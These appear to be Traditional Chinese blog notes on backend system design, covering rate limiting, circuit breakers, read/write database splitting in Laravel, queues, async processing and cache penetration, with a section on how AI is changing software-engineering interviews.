限流(Rate Limiting)

相信大家對這個名詞並不陌生，限流其實就是字面上的含意，限制流量。

限流的目的是保護「接收方」，確保系統不會因為瞬間的高併發請求而癱瘓。

限流通常發生在 API Gateway 或服務的最前端。它像是一個夜店門口的保全，控制每分鐘可以進場的人數，當超過限制時，通常回傳 HTTP 429 Too Many Requests

常見演算法

1. 令牌桶 (Token Bucket)： 系統以固定速率產生令牌，並存於有限容量的桶中，請求需取得令牌才能通過，允許一定程度的突發流量

2. 漏桶 (Leaking Bucket)： 無論請求多快，輸出速率永遠固定。主要用於平滑流量。

3. 固定/滑動視窗： 計算一段時間內的請求總數，簡單但可能在視窗切換點出現兩倍流量。

關於平滑流量

如果一個系統每秒只能處理 10 個請求：

非平滑狀態： 第 1 秒突然衝進來 50 個請求，系統瞬間崩潰或發生延遲，而後面的 4 秒卻空空如也。

平滑後（漏桶算法）： 這 50 個請求會先進入一個「桶子」排隊，系統以每秒 10 個的固定速度緩慢釋放。雖然請求處理完畢的總時間變長了，但後端系統始終保持在負載範圍內，不會被打掛。

補充

在Java Web 開發中，tomcat的預設值是200個connection，Web Server 透過執行緒池 (Thread Pool) 來實現流量控制。

然而在PHP-FPM 的流量控制邏輯是透過一個主進程管理多個子進程(Worker Processes)在排隊處理任務，並透過 pm.max_children 旯管理最大子進程數量。

實務上， PHP-FPM (pm.max_children) 與 Tomcat (maxThreads) 本質上是併發數限制 + 請求排隊機制，當 Worker 滿了，請求進入作業系統的 Backlog 佇列，如果連佇列都滿了，就會回傳錯誤。

PHP的限流

在 PHP 的世界裡，我們通常不會單靠 PHP-FPM 來擋流量，而是會配合：

1. Nginx limit_req：在最前端就限制每秒請求數。

2. Opcache：減少編譯時間，讓「漏水」的速度變快。

3. Queue (Laravel Job)：遇到大流量時，把耗時任務丟到後台處理，讓 PHP-FPM 趕快空出來接下一個請求。

熔斷 (Circuit Breaker)

保護「呼叫方」，防止故障蔓延。通常運用在Server to Server的系統中，防止服務雪崩。

情境

當 A 服務呼叫 B 服務，而 B 服務反應過慢或持續報錯時，A 服務應該「切斷」對 B 的請求，直接回傳預設的錯誤（Fallback），而不是讓執行緒（Thread）全部卡在那裡等待超時。

熔斷的三種狀態

實作補充

如果是Java的開發者，可以使用：Resilience4j

而Laravel的開發者，可以使用：laravel-circuit-breaker

背壓 (Backpressure)

協調「生產者」與「消費者」的速度差異。

在非同步系統（如 Queue）中，當生產者發送數據的速度快過消費者處理的速度時，如果沒有背壓，消費者的Buffer會溢位導致 Out of Memory。

背壓不僅存在於 Queue，也廣泛應用於網路層(TCP Flow Control)

常見策略

1. 控制速率 (Signaling)： 消費者主動告訴生產者：「我現在只能處理 10 個，別傳太快。」

2. 緩衝 (Buffer)： 先存在記憶體，但有上限。

3. 丟棄 (Drop)： 處理不完就直接丟掉最新的（或最舊的）。

總結

限流（Rate Limiting）：發生在入口（Ingress），保護系統 熔斷（Circuit Breaker）：發生在服務間（Service-to-Service），防止雪崩 背壓（Backpressure）：發生在非同步系統（Async Pipeline），避免資源耗盡

軟體架構深度解析：從系統拆分到商業規模化

在軟體工程的演進中，架構的選擇往往是在「開發效率」、「系統擴充性」與「營運成本」之間尋求平衡。我們可以從兩個核心維度來觀察這些架構：系統如何運行（單體 vs. 分散式） 以及 如何服務客戶（單租戶 vs. 多租戶）。

規模與擴展維度：程式該如何運行？

單體架構 (Monolithic Architecture)

整個系統（API、業務邏輯、資料存取）打包成一個應用程式部署。

一個典型的Laravel 專案就是單體架構。

• 代表實例： 標準的 Laravel 或 Rails 專案。

• 特性： 同步的 Function Call、共用單一資料庫、單一部署流程。

• 優點： 初期開發速度極快、測試與部署簡單、維運壓力小。

• 缺點： 「牽一髮而動全身」，任一模組崩潰會導致全站失效；且難以針對特定功能進行水平擴展（Scaling）。

  

分散式架構 (Distributed Architecture)

系統跨越多個節點運行，透過網路協作完成任務。微服務即是分散式架構的一種具體實現。

• 關鍵挑戰： 必須面對 CAP 定理 的物理限制（一致性、可用性、分區容忍性）。

• 優點： 高可用性（HA）與強大的水平擴展能力，具備容錯機制。

• 缺點： 網路延遲、數據一致性（Eventual Consistency）問題，以及複雜的 Race Condition 處理。

微服務架構 (Microservices Architecture)

將系統拆分為「多個獨立服務」，每個服務負責單一業務能力（bounded context）。

• 特性： 每個服務獨立部署、擁有專屬 DB、透過 HTTP/gRPC/MQ 通訊。

• 核心痛點： 運維複雜度（Observability）與分散式交易處理（如 Saga Pattern）。

• 決策關鍵： 依據 DDD（領域驅動設計） 的「界限上下文」來拆分，避免淪為分散式單體。

• 一致性模型改變：單體架構可以容易地實現強一致性，微服務在「跨服務」場景下通常需要採用最終一致性。

常見設計 Pattern

• API Gateway

• Circuit Breaker

• Saga Pattern

• Event-driven Architecture

服務與商業維度：如何服務不同客戶？

當進入 SaaS（軟體即服務）領域時，核心決策點在於如何處理多個客戶（Tenant）的數據與資源。

獨立部署（單租戶模型）

每個客戶擁有獨立的運行環境與資料邊界。

• 適用： 高資安需求的標案或極大企業客戶。

• 問題： 維護 100 個客戶需要更新 100 次，難以規模化。

多租戶架構（Multi-Tenant Architecture）

一套系統服務「多個客戶（Tenant）」，但資料彼此隔離。多租戶架構主要是在「SaaS 情境下的資料隔離策略」。

• 資源利用度高且多客戶管理容易(集中部署與統一版本管理)

• 權限與資料隔離設計需要更謹慎且複雜

• 在多租戶架構中，當租戶數量成長時，會面臨資料遷移與資源重新分配（例如：將大型租戶遷移至獨立資料庫）的挑戰。

三種實作模式

1. Shared DB, Shared Schema

   • 用 tenant_id 區分

   • 成本最低，但隔離性最差，任何 query 若未正確套用 tenant 條件（例如：global scope），將導致資料越權存取

2. Shared DB, Separate Schema

   • 每個 tenant 一個 schema，隔離性提升 且可以 可 partial backup

   • schema 管理複雜、migration 要處理多 schema

3. Separate Database(DB Per Tenant)

   • 每個 tenant 一個 DB

   • 隔離最好，成本最高

實務運用

單體與微服務的邊界

當單體要轉微服務時，最難的不是技術，而是「怎麼拆」。

• 關鍵概念： DDD（領域驅動設計）中的 界限上下文。

• 實務建議： 如果邊界劃分錯誤（例如：訂單服務與庫存服務耦合太深），會變成最糟糕的情況——「分散式單體」。這具備了微服務的所有缺點（網路延遲、部署複雜），卻沒有任何優點（開發依然互相牽制）。

分散式架構的幽靈：CAP 定理

在討論分散式與微服務時，CAP 定理是繞不開的物理限制。

• 一致性 (Consistency)

• 可用性 (Availability)

• 分區容忍性 (Partition Tolerance) 在分散式系統中，我們被迫在 C 與 A 之間做選擇。例如：

• 金融交易： 寧可系統暫時無法服務 (A)，也要保證金額絕對正確 (C)。

• 社群貼文： 寧可讓不同使用者看到稍微不同的按讚數 (C)，也要保證系統隨時能讀取 (A)。

多租戶架構的隱形陷阱：Noisy Neighbor

在 SaaS 開發中，多租戶最怕 吵鬧鄰居 效應。

• 問題： 當 A 租戶突然有暴增流量，若使用「共享資料庫 (Shared Schema)」，B 租戶的服務品質也會下降。

• 解決方案： 這時需要引入 Rate Limiting（限流） 或 Resource Quota。如果你的客戶是像「台積電」這種等級的大企業，通常會要求 Separate Database，不只是為了效能，更多是為了資安合規。

結論

選擇架構時不應盲目追求「微服務」，因為架構的引入是有代價的。很多成功的產品都是從單體開始，隨後演進為分散式，最後為了團隊協作才拆分為微服務。而多租戶則是打算將這套系統賣給多個客戶時，必須考慮的數據隔離策略。

大多數的 Web 應用都是 「讀多寫少」（例如：看文的人多，發文的人少,Heavy Read System）。當所有的請求都塞給同一台資料庫時，磁碟 I/O 和連線數會成為瓶頸。

• Master (主庫)： 負責寫入 (Insert/Update/Delete)，確保數據一致性。

• Slave (從庫)： 負責讀取 (Select)，可以有多個從庫來分擔讀取壓力。

為什麼讀寫分離能提升效能？

• 磁碟 I/O 分散： 寫入操作通常涉及索引更新和交易日誌，非常吃磁碟性能。將讀取抽離，可以避免 SELECT 語句與 INSERT/UPDATE 爭搶資源。

• 併發連線數： 每台資料庫能承載的連線數有限，多台 Slave 代表能支撐更多的使用者同時在線瀏覽。

路由實作：由誰來決定 SQL 去哪裡

實務上，讀寫分離的「路由控制」有兩種主流架構，各有優缺點：

• 應用層控制 (Application-side Routing)：

  • 作法： 在程式碼或框架設定中定義 read 與 write 連線（例如 Laravel 的 database.php）。

  • 優點： 效能最高（少一層網路跳轉）、部署簡單。

  • 缺點： 業務代碼與基礎設施耦合；當 Slave 增加或異動時，所有應用程式都得更新設定。

• 代理層控制 (Proxy-side Routing)：

  • 作法： 引入 ProxySQL 或 MySQL Router。程式只連向 Proxy，由 Proxy 根據 SQL 語法（SELECT vs UPDATE）自動轉發。

  • 優點： 支援連線池 (Connection Pooling)、動態下線壞掉的 Slave、對程式碼透明。

  • 缺點： 增加系統複雜度與網路延遲 (Latency)。

資料庫複寫的原理

• 非同步複寫 (Asynchronous)： 主庫寫完立即回傳成功，再慢慢同步給從庫。效能最好，但有數據遺失風險(如果 Master 剛寫完就當機，資料可能還沒傳到 Slave，導致資料遺失)

• 半同步複寫 (Semi-synchronous)： 主庫寫完後，至少等一個從庫確認收到資料才回傳。平衡了效能與安全性。

• Binary Log (Binlog)： 這是 MySQL 同步的核心，從庫就是透過讀取主庫的 Binlog 來重演 (Replay) 資料操作。

複寫底層的細節：Binlog 格式的影響

Slave 是怎麼同步的？是同步 SQL 語句還是同步數據結果？這會影響同步的準確性與效能：

• Statement-Based Replication (SBR)： 同步 SQL 語句。

  • 坑： 如果 SQL 裡有 NOW() 或 UUID()，Slave 執行的結果會跟 Master 不一樣。

• Row-Based Replication (RBR)： 同步實際變更的數據行。

  • 優點： 最安全，保證資料一致。

  • 缺點： 當大量更新時，Binlog 會噴發，佔用頻寬。

• Mixed-Based Replication： 自動判斷。

在現代生產環境中，建議優先選用 Row-Based (RBR)。雖然它在大量更新（如 UPDATE users SET status = 1）時會產生巨大的 Log，但它能保證 100% 的資料精確度，避免 RAND() 或 NOW() 造成的同步問題。

快取一致性挑戰

還記得我們在L21中快取的章節有充到：如果在主從分離的極端架構下，為了避免快取到尚未更新的從庫(舊資料)，快取有兩個調整策略：延遲雙刪 & CDC。

這裡再提供一個方式 - 強制讀主庫： 如果快取過期時間很短，或者不希望快取邏輯太複雜，就會更依賴 「強制讀主庫」 來保證寫入後的第一次讀取是正確的。

強制讀主庫（Master-only Read）

核心邏輯：繞過讀寫分離的自動調度邏輯。

這通常發生在對「資料即時性」要求極高的場景，例如：使用者剛刷完卡、剛改完密碼，或者在交易（Transaction）程序中。

框架層級實作

這是最常見的做法，透過後端框架提供的 API，手動指定當前的 Query 使用「寫入連線」

$user = User::onWriteConnection()->find(userId);

在Laravel中還有一個特殊的選項：sticky

當sticky = true時，可用於允許立即讀取在目前請求週期內寫入資料庫的記錄。如果啟用了sticky選項，並且在目前請求週期內對資料庫執行了「寫入」操作，則任何後續的「讀取」操作都會使用「寫入」連線。

Laravel 官方文件沒告訴你的事情：在 Laravel 中，一旦進入 transaction，所有讀取會自動 fallback 到 write connection，因為 transaction state 僅存在於 write PDO。

在 ManagesTransactions.php 中，可以看到 function beginTransaction 呼叫了createTransaction

而createTransaction的code如下：

//ManagesTranstions
protected function createTransaction()
    {
        if ($this->transactions == 0) {
            $this->reconnectIfMissingConnection();

            try {
                $this->getPdo()->beginTransaction();
            } catch (Throwable $e) {
                \(this->handleBeginTransactionException(\)e);
            }
        } elseif (\(this->transactions >= 1 && \)this->queryGrammar->supportsSavepoints()) {
            $this->createSavepoint();
        }
    }

重點就在於getPdo，在Connection.php 中：

$this->pdo存放master connection

$this->readPdo存放slave connection

另外 在 getReadPdo() 也會發現 如果有transition會回傳master connection，因此在整個transaction的期間內，所有DB操作都會到master connection

if ($this->transactions > 0) {
	return $this->getPdo();
}

SQL Hint 層級 (Proxy/Driver Level)

如果是使用 ProxySQL、MySQL Router 或特定的資料庫中間件，它們通常支援在 SQL 語句中加入「註解（Comment）」作為 Hint，告訴代理層這條 SQL 不准分流。

/*+ MASTER */ SELECT * FROM users WHERE id = 123;

代理伺服器（如 ProxySQL）會解析這段註釋，即使它是 SELECT 開頭，也會被強制路由到配置好的 Writer Group。這對「程式碼與架構解耦」非常有幫助，開發者只需改 SQL 字串。

黏性主庫策略(Sticky Master / Session-based)

實作邏輯：

1. 當使用者進行 寫入操作（如 POST/PUT/PATCH）時，後端在 Response 加入一個短期有效的 Cookie 或在 Redis 紀錄一個 Flag（例如 recently_updated:{user_id}，有效期間 2 秒）。

2. 在接下來的請求中，Middleware（中介層） 檢查該 Flag 是否存在。

3. 如果存在，該 Request 內的所有讀取自動切換到 Master 連線；如果不存在，則回歸正常的讀寫分離模式。

AI的洪流，改變了SWE的生態

LLM的發展確確實實的影響到了軟體工程師的生態。

過去受限於算力與資料規模，深度學習的發展曾一度趨緩。隨著 GPU 與分散式訓練技術成熟、網路規模資料的累積，以及以 Transformer 為核心的模型架構出現，使得以自監督學習為基礎的大型語言模型得以快速發展並實際落地，進而引發近年的 AI 應用爆發，而首當其衝的便是 - 軟體工程師。

其實仔細想想這件事情並不是偶然，軟體系統主要受限於邏輯與抽象層，而非物理世界的連續性與精密控制問題（如機械結構、動力學、軸承…等）。這使得 LLM 更容易在此領域中發揮作用，因為其擅長處理符號化與結構化問題。這也導致了LLM 甚至於Agent的出現，改變了工程師能力的分佈結構，使得原本需要長時間累積的開發能力，被部分壓縮。

AI 模糊化了 傳統Junior工程師與Senior的邊界，即使是經驗較少的工程師，也可以在 LLM 輔助下快速完成 PoC 或 MVP，而不需要大量的時間經驗積累；但這與 production-ready system 仍存在本質差異。這讓我發現一件事情：工程師的價值不在於解決問題，更著重在定義問題。

過去我們的競爭力來自於實作能力，現在則逐漸轉向：

• 問題建模能力

• 系統設計能力

• 在不確定性下做出技術決策的能力

這也呼應了我曾在Medium上發表的文章，這裡節錄一段重點：

AI 會寫 Code、能跑 test、甚至能優化效能，但它還不能取代的，是「策略思考」、「商業判斷」與「系統整合」。

以後的工程師好像需要帶一點Project Manager的特質了！

成為一個 有策略、能夠洞悉未來、具有問題解決能力 的 "工程師"

這裡的問題解決能力，並不是指 技術性問題的解決能力。在資訊檢索與方案建議上，LLM 已具備高度參考價值， "軟實力" 會成為未來Enginner必備的技能之一。

AI 會寫程式，會自動補全邏輯，甚至能理解架構與效能的優劣。但這並不代表工程師的價值消失了。相反地，當寫程式變得越來越容易，真正稀缺的是「知道要寫什麼」的人。

過去我們的價值來自於「能解技術問題」，未來則來自於「能定義問題」與「設計解法」。也就是說，工具在解決 How to do it，但工程師該進化去處理 What to do 與 Why to do it。

生態改變後，對於Interview有哪些變化

雖然軟體工程師的生態系正在改變，也導致了職務需求的降低，但基本的缺口仍舊存在，市場上還是需要軟體人才來主導系統架構。

重點來了：AI產品落地的速度很快 - 做PoC非常快，但PoC跟系統化是兩個截然不同的世界。

企業主可以透過簡單的提示字、需求來做出一個可以快速驗證市場的PoC，但是一旦想要將這套商業邏輯或產品做成：高穩定性、易擴充能夠負荷極端或特殊情境的「系統」，這時候就需要專業的工程師介入。這也是近兩年來面試的觀察，大部分的技術面試已經從 How to do(如何實踐功能) 轉向 邏輯思維、系統架構設計以及經驗討論了；面試的重點不再是驗證「你會不會寫」，而是評估「你在什麼情境下會做出什麼決策」

目前兩年間面試下來大約15家企業，只有1家公司還保留上機測試。

鬼故事專區

嚴肅的內容說完了，現在就來輕鬆當笑話，聊聊被我定義成鬼故事的經驗吧！這些經驗我會混在一起來談，一方面是希望條列式，也希望可以避免太多 「敘事」的情節。

大忌1 - 專業度不足

技術面試中最難拿捏的，其實是「深度與範圍的界線」，技術充斥著軟體工程師的生活，或許有些問題窮極一生都遇不到，但對於另一位Engineer來說或許就是日常一杯咖啡一樣的問題。

在不同的背景下、不同的企業 即便使用相同的語言Tech Stack也會有一定程度的差異，我認為這是正常且健康的狀況。

但如果涉及到Basic Know-how那就一切不一樣了。

情境

面試官A：以你的經驗，你如何解決或避免超賣的問題？

Bennett：我會先確認系統對資料一致性的要求。如果是強一致性場景，會優先考慮透過 DB Lock 或 transactional 機制來確保正確性。

面試官B：那一萬個請求進來，你的系統不就直接炸掉？

問題本質

這類對話的問題，不在於答案對錯，而在於「討論層級沒有對齊」。

超賣問題本質上是一個典型的 trade-off：

• 強一致性

• 高吞吐

在沒有先確認業務場景（例如庫存敏感度、容錯空間、是否允許最終一致）的前提下，直接將問題轉向高併發，是一種上下文切換過快的討論方式。

更理想的做法

1. 先確認問題的約束條件

2. 再討論在該約束下的解法

3. 最後才延伸到 scalability / failure case

這種討論方式，會讓面試從「評估思考能力」退化成「即時反應壓力測試」，反而無法有效判斷候選人的系統設計能力，甚至可能錯誤地低估其在特定約束條件下的決策品質。

技術討論應該是共築共識，而非設局捕捉

大忌2 - 遲到

不管是線上還是實體，我相信大家都能夠體諒突發狀況的發生，但遲到不解釋或表達歉意，對我來說是一個非常扣分的項目。

情境

面試時間已過 10 分鐘，面試官才匆忙上線或進入會議，全程未對遲到原因做出任何說明，也沒有表達歉意，直接開始面試流程。

問題本質

這並不只是「時間管理」問題，而是基本職業素養的缺失，以及對候選人時間的不尊重。

為什麼這是問題

面試本質上是雙向評估，而非單向篩選。

企業在評估候選人的同時，候選人也在評估企業的文化與工作方式。

在沒有任何說明的情況下遲到，會傳遞出幾個負面訊號：

• 對時間缺乏基本尊重

• 缺乏溝通與責任意識

• 團隊可能存在流程鬆散或文化不對等的問題

這會讓整場面試從一個「平等的專業對話」，退化成「單方主導的篩選流程」，進而影響候選人對公司的整體判斷。

更理想的做法

即使發生不可避免的突發狀況，也應該做到基本的溝通與補償：

1. 事前或第一時間通知延誤情況

2. 簡要說明原因（不需過度細節）

3. 表達基本的歉意

4. 必要時提供重新安排時間的選項

這些都是低成本但高影響的行為，能有效維持面試過程的專業性與雙方的信任基礎。

大忌3 - 反向題型

在過去的面試經驗中，遇到過許多有反向題型的企業，反向題型是個雙面刃，可以協助企業辨識出需符合所需人格特質的人才，但用不好就會變成反感題。

情境

面試官在高併發系統設計討論中，未提供足夠背景資訊，不斷重複追問：「如果系統還是撐不住流量呢？」

即使候選人提供了五種以上擴充方案，面試官仍追問，直到候選人反問：「那您希望我針對哪個層級（layer）作回答？」

最後得到的回覆是：「我想看看你會不會說『我不知道』。」

問題本質

這是反向題型使用不當的典型案例：

原本目的是評估候選人在不確定情境下的應對能力與思考邏輯，但缺乏明確目標和對齊上下文，反而變成壓力測試。

為什麼這是問題

• 面試重心從「評估思考能力」偏離，變成單純測試候選人承受壓力的反應

• 缺乏背景資訊，使候選人難以判斷適當的假設與邊界

• 易引起負面情緒，降低候選人對公司的認同與信任

這種方式對雙方都沒有價值：企業未必能得到有意義的評估結果，候選人也可能留下負面印象

更理想的做法

如果要使用反向題型，應該控制在明確目標和透明假設下：

1. 先說明面試目標：例如「我想了解你在高併發下的思考流程，而不是單純測試答案」

2. 提供必要背景資訊與約束條件

3. 在追問時，保持開放式討論而非強迫候選人「說不知道」

4. 引導候選人展示思考模式、trade-off 評估與假設管理

這樣可以發揮反向題型的正向價值，同時避免讓面試變成單純的心理測試或壓力測試。

佇列的實作工具非常多，舉凡AWS SQS、RabbitMQ、Kafka…等。

佇列的特性，其實是一個非常強大的系統緩衝區，應用層面非常廣。

什麼是佇列？

佇列可以想像成，在既有流程中外，有另一個”水管”，來連接原有的資料流(或邏輯過程)，其中 呼叫方將資料 推(Push)到水管中，接受方(監聽) 從水管中將資料拉(Pull)出處理

為什麼佇列是「強大的緩衝區」？

在同步處理中，系統像是一條緊繃的繩子，任何一個節點斷了或慢了，整個流程就會崩潰。而加入佇列後，系統擁有了以下三個關鍵特性：

削峰填谷(Load Leveling)

當瞬間流量（例如雙 11 搶購）暴增時，後端資料庫通常無法承受。佇列充當了緩衝墊，讓請求先「排隊」，後端再依據自身的處理能力慢慢消耗，避免伺服器因過載而宕機。

非同步解耦 (Asynchronous Decoupling)

呼叫方不需要等待處理結果。以「註冊帳號」為例：

• 同步： 寫入資料庫 → 寄送驗證信 → 傳送歡迎簡訊 → 回傳成功（若簡訊服務掛了，註冊就失敗）。

• 非同步： 寫入資料庫 → 丟入 Queue → 回傳成功。寄信與簡訊由後端 Consumer 慢慢處理。

容錯與重試機制 (Fault Tolerance)

如果接收方 在處理時暫時故障，資料依然停留在佇列中。待接收方修復後，可以從上次中斷的地方繼續處理，確保資料不丟失。

核心算法

如果講到佇列，不稍微聊一下FIFO，內容就有點空洞了，FIFO是佇列的核心特性，與堆疊（Stack）的 LIFO形成對比。

FIFO

FIFO是First In , First Out。白話文就是先進先出，先進到佇列的資料也會優先被調出佇列。

• 公平性： 確保請求按照收到的先後順序處理，不會有後來的請求「插隊」導致先來的請求無窮盡等待（Starvation）。

• 順序一致性： 在某些情境（如銀行轉帳、訂單狀態變更），處理順序絕對不能錯亂。例如「扣款」必須發生在「出貨」之前。

佇列的變體與進階演算法

在實務的後端開發中，單純的 FIFO 有時不足以應付複雜需求，因此衍生出以下幾種常見模式：

1. 優先權佇列 (Priority Queue)

並非所有資料都一視同仁。例如：

• 高等級： 處理使用者的付款請求（需立即處理）。

• 低等級： 處理每週報表的發送（可以稍後再做）。 這時演算法會根據資料的 Priority Tag 重新排序，讓高等級的資料「合法插隊」。

2. 環形佇列 (Circular Queue)

在記憶體有限的情境下（例如嵌入式系統或高效能 Buffer），當指標到達陣列末端時，會繞回開頭重新利用空間。這避免了頻繁搬移資料的效能損耗。

3. 延遲佇列 (Delay Queue)

資料推入後，並不會立刻被 Consumer 拉走，而是設定一個「冷卻時間」。

• 應用場景： 訂單成立後 30 分鐘若未付款，自動取消訂單。

補充說明：分散式系統中如何保證順序性

在分散式系統中，「順序性」是一個極大的挑戰。因為分散式架構的核心是「並行」，而順序要求的則是「串行」。這兩者本質上是衝突的。

要保證順序，通常需要從 生產端、存儲端、消費端 三個環節同時下手：

1. 生產端：分組標記

在海量資料下，我們不可能要求「全球順序」，那會造成嚴重的效能瓶頸。實務上，我們保證的是「局部順序」。

• 機制： 給予每條訊息一個 MessageKey（例如 order_id 或 user_id）。

• 演算法： 使用一致性雜湊（Consistent Hashing）確保擁有相同 Key 的訊息，永遠會進入同一個 Partition 或 Shard。

• 結果： 雖然訂單 A 和訂單 B 之間沒有順序關係，但「訂單 A 的建立」與「訂單 A 的付款」會排在同一條水管裡。

2. 存儲端：強順序佇列（FIFO Queue）

一般的雲端佇列（如 AWS SQS Standard）為了效能，通常只保證「盡力交付（Best-effort ordering）」。若要嚴格順序，必須選用 FIFO 類型 的工具：

• AWS SQS FIFO： 透過 Message Group ID 確保同組訊息嚴格先進先出，並提供 Deduplication ID 防止重覆發送。

• Kafka： 內建保證單一 Partition 內的訊息是絕對有序的。

3. 消費端：單一消費者模式

這是最容易出錯的地方。即便佇列是有序的，如果後端開了 10 個 Worker同時拉資料，順序就會亂掉：

• 訊息 1：進入 Worker A（處理慢，需 5 秒）。

• 訊息 2：進入 Worker B（處理快，需 1 秒）。

• 結果： 訊息 2 會比訊息 1 先完成，破壞了邏輯順序。

解決方案：

• 分區消費： 確保一個 Partition 同一時間只能被一個 Consumer 讀取（Kafka 的預設行為）。

• 樂觀鎖（Optimistic Locking）： 在資料庫增加 version 欄位。即便訊息 2 先到，它發現版本號不對，會拒絕寫入並要求重試。

4. 終極殺手鐧：時序標記

如果系統非常複雜，無法依賴中間件的順序，我們會在訊息內核嵌入「邏輯時鐘」：

• 雪花演算法 (Snowflake ID)： 生成帶有時間戳且遞增的唯一 ID。

• 狀態檢查： 消費端維護一個 last_sequence_id。如果收到的 ID 是 5，但上次處理的是 3，表示訊息 4 掉包或延遲了，此時 Consumer 應將 5 暫存或報錯，直到 4 出現。

總結：代價與權衡

保證順序性是有代價的：

1. 效能下降： 無法充分利用多核並行處理，吞吐量會受限於單一 Partition 的處理能力。

2. 可用性風險： 如果某條訊息處理卡住（Poison Pill），後面所有的有序訊息都會被堵死。

理解「什麼時候不需要保證順序」跟「如何保證順序」一樣重要。盡可能讓業務邏輯具備 冪等性（Idempotency），才是減輕順序依賴的最佳解。

非同步處理

探討 非同步 時，最核心的觀念轉變是：「從 等待結果 變成 訂閱通知」。

同步 vs. 非同步

同步處理 (Synchronous) — 點餐

走道7-11點了一杯大冰拿，點完後就站在櫃檯前死守，直到咖啡拿在手上，才離開去滑手機。

• 問題： 如果咖啡機壞了（I/O 阻塞），後面的排隊人群（其他 Request）全都會被卡死。

非同步處理 (Asynchronous) — 呼叫器點餐

點完咖啡後，店員給你一個呼叫器。可以先回位子坐下處理公事、回 Email（繼續執行其他任務）。當呼叫器響了（Event Triggered），你再去取餐。

• 優點： 櫃檯（CPU/Thread）可以立刻處理下一個人的點餐，系統吞吐量極大化。

非同步處理的關鍵元件

要實作非同步，系統通常需要以下三個部分協作：

呼叫方 (Caller)

發起請求後不再等待，而是立即返回執行下一行程式碼。

回呼機制 (Callback / Promise / Future)

當任務完成時，系統如何通知你？

• Callback： 「做完後請執行這個 function」。

• Promise / Async-Await： 「這是一個承諾，未來我會把結果填進去」。

事件迴圈 (Event Loop)

這是非同步的心臟（常見於 Node.js 或 Go）。它不斷檢查「任務完成了嗎？」如果完成了，就把對應的回呼函式丟回主執行緒執行。

非同步 與 佇列 的結合

非同步處理通常依賴 Queue 來實現系統間的解耦：

1. 提交任務： API 收到請求，把繁重的任務（如：生成 PDF、發送萬封郵件）丟進 Queue。

2. 立刻回應： API 告訴使用者「已收到請求，處理中」，耗時僅需 10ms。

3. 非同步消耗： 後端有一個 Worker 默默地從 Queue 拿任務出來跑。

4. 通知結果： 跑完後透過 WebSocket 或 Webhook 通知前端。

進階思考：非同步的代價

雖然非同步很強大，但身為 工程師，我們必須考慮以下挑戰：

• Race Condition： 當兩個非同步任務同時修改同一個資料庫欄位，誰才是對的？

• Error Handling： 非同步錯誤很難追蹤（Stack Trace 通常會斷掉）。如果背景任務失敗了，使用者怎麼知道？

• 複雜度： 程式碼不再是從上到下執行，除錯與邏輯串接變得困難。

我們這個章節要來談談Cache還有哪些問題

快取穿透 (Cache Penetration)

定義

請求的資料 不在快取中，也不在資料庫中。 每次請求都會穿過快取，直接打到 DB，但 DB 也查不到資料，導致無法回寫快取。如果有惡意攻擊者使用大量不存在的 ID 進行攻擊，DB 會瞬間承受巨大壓力。

常見場景

• 惡意攻擊：使用 id = -1 或隨機生成的 UUID 發起大量請求。

• 程式邏輯錯誤：前端送出了後端根本沒有的資料查詢。

解決方案

1. 快取空物件 (Cache Null Value)：

   • 當 DB 查不到資料時，仍在 Redis 中紀錄該 Key，但值設為 null 或特定標記，並設定一個較短的過期時間 (例如 30 秒)。

   • 優點： 實作簡單。

   • 缺點： 會浪費 Redis 空間存垃圾資料；且在過期前可能會有資料不一致問題 (若該資料突然被新增了)。

2. 布隆過濾器 (Bloom Filter)：

   • 在請求進入快取之前，先透過 Bloom Filter 判斷該 Key 是否「可能存在」。如果 Bloom Filter 說不存在，則直接攔截，不查 Redis 也不查 DB。

   • 優點： 記憶體佔用極少，效率極高，適合超大數據集。

   • 缺點： 實作複雜，存在極低機率的誤判 (False Positive)，且刪除資料困難。

3. 嚴格的參數校驗：

   • 在 Controller 層就攔截不合法的參數 (如 ID < 0)。

補充說明 - 布隆過濾器

Bloom Filter 是一種 「機率型資料結構」。

它的核心價值在於：用極小的記憶體空間，快速判斷一個元素「絕對不存在」或「可能存在」。

核心原理：BitMap + 多重雜湊 (Multiple Hashing)

有一個長度為 m 的位元陣列 ，初始值全為 0。 當要儲存一個資料（例如 user_id: 1001）時：

1. 使用 k 個不同的雜湊函數 對該資料進行運算。

2. 算出 k 個位置索引 (Index)。

3. 將 Bit Array 中這 k 個位置的值都設為 1。

查詢流程

當一個請求來查詢 user_id: 9999：

1. 用K個雜湊函數運算。

2. 檢查這 k 個位置的 Bit 是否全為 1。

   1. 情況 A： 只要有 任何一個 位置是 0 →代表該資料 絕對不存在 (直接攔截，不查 DB)。

   2. 情況 B： 所有位置都是 1 → 代表該資料 可能存在 (放行，去查 Cache/DB)。

為什麼會有誤判？

這就是「雜湊碰撞 (Hash Collision)」的代價。 假設 Key A 把位置 1, 5, 7 設為 1。 假設 Key B 把位置 2, 5, 8 設為 1。 現在來了一個不存在的 Key C，它的雜湊結果剛好是 1, 2, 8。 系統一查，發現 1, 2, 8 全部都是 1（由 A 和 B 湊出來的），於是 Bloom Filter 誤以為 Key C 存在。

誤判率與 陣列長度 (m) 和 雜湊函數數量 (k) 有關。陣列越長，誤判越低；k 越多，誤判越低（但也越慢）。

無法刪除： 標準的 Bloom Filter 不支援刪除。因為你不知道把某個位置的 1 改回 0 時，會不會誤傷到其他也共用該位置的 Key。

進階解法： 若需刪除，需使用 Counting Bloom Filter (每個位置不存 Bit，改存 Counter)，但空間成本會暴增。

實務選擇

在開發中，我們通常不需手寫 BitMap，而是使用現成的 Redis Module (RedisBloom) RedisBloom - Redis 官方模組，指令如 BF.ADD, BF.EXISTS，效能極佳。

快取擊穿 (Cache Breakdown)

定義

針對 「單一個」 非常熱門的 Key (Hot Key)，在這個 Key 過期的瞬間，同時有大量的併發請求進來。 因為快取剛好失效，所有請求瞬間打到 DataBase，就像在盾牌上鑿了一個洞。

常見場景

• 電商秒殺活動的商品頁。

• 熱門新聞或話題的 API。

解決方案

1. 互斥鎖 (Mutex Lock / Distributed Lock)：

   • 當發現 Cache 失效時，不是所有執行緒都去查 DB。而是使用 SETNX (Redis) 搶鎖。

   • 搶到鎖的人去查 DB 並回寫 Cache，其他人在旁邊等待並重試讀取 Cache。

   • 優點： 保證資料一致性，DB 壓力最小。

   • 缺點： 程式碼複雜度增加，可能會稍微降低吞吐量。

2. 邏輯過期 (Logical Expiry / Soft TTL)：

   • Redis Key 設定為「永不過期」，但在 Value 內部包含一個邏輯上的「過期時間欄位」。

